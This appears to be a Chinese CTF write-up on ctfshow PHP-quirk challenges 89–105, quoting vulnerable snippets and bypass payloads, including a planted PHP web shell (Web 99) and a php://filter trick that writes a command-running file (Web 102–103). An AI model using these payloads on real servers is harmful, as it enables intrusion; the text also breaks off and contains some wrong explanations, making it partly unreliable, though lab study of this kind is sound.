Web 89

由题目可知：

if(isset($_GET['num'])){

$num =$ _GET['num'];

if(preg_match("/[0-9]/", $num)){

die("no no no!");

}

if(intval($num)){

echo $flag;

}

数字被过滤了

preg_match在匹配数组的时候return false?直接跳出了第一个if

intval()将传入的字符串转为整数（不关心数组中的内容,只判断数组中有没有元素

我们提交了一个数组?num[]=a

直接就绕过了

Web 90

由题目可知：

if(isset($_GET['num'])){

$num =$ _GET['num'];

if($num==="4476"){

die("no no no!");

}

if(intval($num,0)===4476){

echo $flag;

}else{

echo intval($num,0);

}

if($num==="4476"){

die("no no no!");

}num不能以字符串"4476"的形式存在

if(intval($num,0)===4476){

echo $flag;

}

但是num转为10进制后的整数要是4476

intval($num,0)表示要将num转为10进制整数

?num=0x117c

?num=0b1000101111100

Web 91

由题目可知：

show_source(FILE);

include('flag.php');

$a=$ _GET['cmd'];

if(preg_match('/^php $/im',$ a)){

if(preg_match('/^php $/i',$ a)){

echo 'hacker';

}

else{

echo $flag;

}

else{

echo 'nonononono';

}

Notice : Undefined index: cmd in /var/www/html/index.php on line 15

nonononono

preg_match('/^php $/im',$ a)：

im表示模式，可以匹配多行（所以我们考虑加入换行符%0a），^...$表示匹配的内容（匹配每一行的开头和结尾

preg_match('/^php $/i',$ a)：

^...$表示匹配的内容，表示单行匹配

?cmd=php%0aphp

?cmd=%0aphp

Web 92

由题目可知：

include("flag.php");

highlight_file(FILE);

if(isset($_GET['num'])){

$num =$ _GET['num'];

if($num==4476){

die("no no no!");

}

if(intval($num,0)==4476){

echo $flag;

}else{

echo intval($num,0);

}

看起来还是intval的使用

?num=0x117c

?num=0b1000101111100

提示：

Inval( $var,$ base)

intval()函数如果 $base为0则$ var中存在字母的话遇到字母就停止读取但是e这个字母比较特殊，可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123

?num=4476e123

Web 93

由题目可知：

if(isset($_GET['num'])){

$num =$ _GET['num'];

if($num==4476){

die("no no no!");

}

if(preg_match("/[a-z]/i", $num)){

die("no no no!");010

}

if(intval($num,0)==4476){

echo $flag;

}else{

echo intval($num,0);

}

字母也被过滤了

提示：

过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制 0??? : 八进制 0X?? : 16进制

?num=010574（八进制

Web 94

由题目可知：

include("flag.php");

highlight_file(FILE);

if(isset($_GET['num'])){

$num =$ _GET['num'];

if($num==="4476"){

die("no no no!");

}

if(preg_match("/[a-z]/i", $num)){

die("no no no!");

}

if(!strpos($num, "0")){

die("no no no!");

}

if(intval($num,0)===4476){

echo $flag;

}

strpos($num, "0")

strpos() 是 PHP 内置函数，其作用是查找一个字符串在另一个字符串中首次出现的位置。该函数会返回首次出现的位置的索引值（索引从 0 开始计数），若未找到则返回 false。

那本题目就是必须要出现0（开头不能为0

==="4476"

===是全等于运算符

只比较值是否相等，在比较过程中会进行类型转换。

?num=4476.0

Web 95

由题目可知：

include("flag.php");

highlight_file(FILE);

if(isset($_GET['num'])){

$num =$ _GET['num'];

if($num==4476){

die("no no no!");

}

if(preg_match("/[a-z]|\./i", $num)){

die("no no no!!");

}

if(!strpos($num, "0")){

die("no no no!!!");

}

if(intval($num,0)===4476){

echo $flag;

}

注意到一个点$num==4476

==在比较时，仅关注两个值是否相等，不考虑它们的数据类型，也就是所谓的 "松散比较"。若两个值在转换为相同类型后数值相等，就会判定为相等。

preg_match("/[a-z]|\./i", $num) 这里"."也被过滤掉了

== ：这是松散比较运算符，它只对两个值是否相等进行判断，不考虑它们的数据类型。也就是说，在比较前会先将两个值转换为相同类型，再比较数值是否一样。
=== ：属于严格比较运算符，它在判断时不仅要求两个值相等，还要求它们的数据类型也必须相同。

试了一下特殊符号：

?num=%0a010574

刚好就过了

?num=%2B010574（加号

?num=%20010574（空格

intval对于对+ " "开头的，会做一个删除处理或者将其当为正数

Web 96

由题目可知：

if(isset($_GET['u'])){

if($_GET['u']=='flag.php'){

die("no no no");

}else{

highlight_file($_GET['u']);

}

$_GET['u']=='flag.php'，只要值不等于flag.php就都ok

?u=./flag.php

?u=/var/www/html/flag.php

?u=php://filter/read=string.rot13/resource=flag.php

?u=php://filter/read=convert.base64-encode/resource=flag.php

Web 97

由题目可知：

include("flag.php");

highlight_file(FILE);

if (isset( $_POST\['a'\]) and isset($ _POST['b'])) {

if ( $_POST\['a'\] !=$ _POST['b'])

if (md5( $_POST\['a'\]) === md5($ _POST['b']))

echo $flag;

else

print 'Wrong.';

}

传入对象的MD5值是相同的

md5绕过原理：md5对数组是不予加密的，但是这个函数是返回值类型的，没有返回对象，便是返回null（null是无对象的意思，可以理解为没有目标）,所以两个都是null，可以绕过里面的比较，但是外面还有一个a!=b

传入两个值不相同的数组

a[]=1&b[]=2

Web 98

由题目可知：

Notice : Undefined index: flag in /var/www/html/index.php on line 15

Notice : Undefined index: flag in /var/www/html/index.php on line 16

Notice : Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17

<?php

-- coding: utf-8 --

@Author: h1xa

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-18 21:39:27

@link: https://ctfer.com

include("flag.php");

$_GET?$ _GET=&$_POST:'flag';

$_GET\['flag'\]=='flag'?$ _GET=&$_COOKIE:'flag';

$_GET\['flag'\]=='flag'?$ _GET=&$_SERVER:'flag';

highlight_file( $_GET\['HTTP_FLAG'\]=='flag'?$ flag:FILE);

flag和HTTP_FLAG在/var/www/html/index.php里面

$_GET?$ _GET=&$_POST:'flag';

三元运算：当 $_GET不为空的时候$ _GET和 $_POST指向同一个地址，$ _POST会影响$_GET的值

当$_GET为空时，表达式的结果为'flag'

$_GET\['flag'\]=='flag'?$ _GET=&$_COOKIE:'flag';

如果flag的值等于'flag',那么 $_GET和$ _COOKIE指向同一个地址

否则返回'flag'

$_GET\['flag'\]=='flag'?$ _GET=&$_SERVER:'flag';

如果flag的值等于'flag',那么 $_GET和$ _SERVERE指向同一个地址

否则返回'flag'

$_GET\['HTTP_FLAG'\]=='flag'?$ flag:FILE

如果HTTP_FLAG的值为'flag'，输出$flag，否则输出当前文件

GET和POST同时传参HTTP_FLAG=flag

Web 99

由题目可知：

$allow = array();

for ( $i=36;$ i < 0x36d; $i++) {

array_push( $allow, rand(1,$ i));

}

if(isset( $_GET\['n'\]) \&\& in_array($ _GET['n'], $allow)){

file_put_contents( $_GET\['n'\],$ _POST['content']);

}

array_push：将元素添加到数组的末尾

rand(1, $i)：生成一个1-i之间的数//每次循环都生成一个小于$ i的数放在数组中，数字越小可能性越大

if(isset( $_GET\['n'\]) \&\& in_array($ _GET['n'], $allow)：检查参数n是否在数组中

file_put_contents( $_GET\['n'\],$ _POST['content'])：

file_put_contents：将字符串写入文字

这里用户通过POST请求将传递的参数content的内容写入以$_GET['n']命名的文件中

?n=1.php

content=<?php system($_POST[1]);?>

访问1.php

1=system('ls'); 发现1.php已经被写入，并且还有flag36d.php

访问flag36d.php

得到flag

Web 100

由题目可知：

highlight_file(FILE);

include("ctfshow.php");

//flag in class ctfshow;

$ctfshow = new ctfshow();

$v1=$ _GET['v1'];

$v2=$ _GET['v2'];

$v3=$ _GET['v3'];

$v0=is_numeric($ v1) and is_numeric( $v2) and is_numeric($ v3);

if($v0){

if(!preg_match("/\;/", $v2)){

if(preg_match("/\;/", $v3)){

eval(" $v2('ctfshow')$ v3");

}

Notice : Undefined index: v1 in /var/www/html/index.php on line 17

Notice : Undefined index: v2 in /var/www/html/index.php on line 18

Notice : Undefined index: v3 in /var/www/html/index.php on line 19

赋值=运算的优先级大于逻辑运算，只需要v1为数字即可
V2不能含有分号
V3必须有分号

?v1=0&v2=var_dump($ctfshow)/*&v3==*/;

flag_is_e2eaa7c40x2dc8e40x2d4fc50x2db6740x2d17c99af10a41

0x2d是-

ctfshow{e2eaa7c4-c8e4-4fc50-b674-17c99af10a41}

Web 101

由题目可知：

highlight_file(FILE);

include("ctfshow.php");

//flag in class ctfshow;

$ctfshow = new ctfshow();

$v1=$ _GET['v1'];

$v2=$ _GET['v2'];

$v3=$ _GET['v3'];

$v0=is_numeric($ v1) and is_numeric( $v2) and is_numeric($ v3);

if($v0){

if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\ $\|\\%\|\\\^\|\\\*\|\\)\|\\-\|\\_\|\\+\|\\=\|\\{\|\\\[\|\\"\|\\'\|\\,\|\\.\|\\;\|\\?\|\[0-9\]/",$ v2)){

if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\ $\|\\%\|\\\^\|\\\*\|\\(\|\\-\|\\_\|\\+\|\\=\|\\{\|\\\[\|\\"\|\\'\|\\,\|\\.\|\\?\|\[0-9\]/",$ v3)){

eval(" $v2('ctfshow')$ v3");

}

?v1=1&v2=echo new Reflectionclass&v3=;

reflectionclass类可以获得类的反射对象（包含元数据信息

flag少一位，最后一位需要爆破

没弄懂爆破怎么抓包，0-g挨个试的

Web 102

由题目可知：

highlight_file(FILE);

$v1 =$ _POST['v1'];

$v2 =$ _GET['v2'];

$v3 =$ _GET['v3'];

$v4 = is_numeric($ v2) and is_numeric($v3);

if($v4){

$s = substr($ v2,2);

$str = call_user_func($ v1,$s);

echo $str;

file_put_contents( $v3,$ str);

}

else{

die('hacker');

}

v1发POST

v2,v3发GET

v2必须是数字，v4才能成立

substr($v2,2)，从v2的第三个字符开始截取

call_user_func( $v1,$ s)， $s作为参数传给回调函数$ v1的值

file_put_contents( $v3,$ str) 将 $str中的内容写入到$ v3指定的文件中

先从字符串 $v2 中截取部分内容，然后使用 call_user_func() 调用一个函数对截取的内容进行处理，接着输出处理后的结果，并将处理后的结果写入到指定的文件中。

官方的wp：

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag

5044383959474e6864434171594473是**<?=`cat *`;** 先base64编码再转为16进制的，e可以作为科学计数法逃过过滤，v2依旧是数字，前面的11是因为v2的内容被截断了前两位

Web 103

由题目可知：

highlight_file(FILE);

$v1 =$ _POST['v1'];

$v2 =$ _GET['v2'];

$v3 =$ _GET['v3'];

$v4 = is_numeric($ v2) and is_numeric($v3);

if($v4){

$s = substr($ v2,2);

$str = call_user_func($ v1,$s);

echo $str;

if(!preg_match("/.*p.*h.*p.*/i",$str)){

file_put_contents( $v3,$ str);

}

else{

die('Sorry');

}

else{

die('hacker');

}

和102相比较多了一个对php的过滤

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin

#访问2.php后查看源代码获得flag

那个php字符串是针对v2的，所以对于这道题并没有什么影响

Web 104

由题目可知：

highlight_file(FILE);

include("flag.php");

if(isset( $_POST\['v1'\]) \&\& isset($ _GET['v2'])){

$v1 =$ _POST['v1'];

$v2 =$ _GET['v2'];

if(sha1( $v1)==sha1($ v2)){

echo $flag;

}

sha1( $v1)==sha1($ v2)：

sha1(string $str)：计算SHA-1的哈希值

我的理解基本上就是v1和v2的哈希值相同，那么就构造v1=v2?（在这里并没有要求v1v2的值不相等

?v1=1

v2=1

?v1=aaa

v2=aaa

上述两个都可以过

Web 105

由题目可知：

highlight_file(FILE);

include('flag.php');

error_reporting(0);

$error='你还想要flag嘛？';

$suces='既然你想要那给你吧！';

foreach( $_GET as$ key => $value){

if($key==='error'){

die("what are you doing?!");

}

ctfshow web入门 php特性（89-115）

Web 89

Web 90

Web 91

Web 92

Web 93

Web 94

Web 95

Web 96

Web 97

Web 98

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-18 21:39:27

@link: https://ctfer.com

Web 99

Web 100

Web 101

Web 102

Web 103

Web 104

Web 105

-- coding: utf-8 --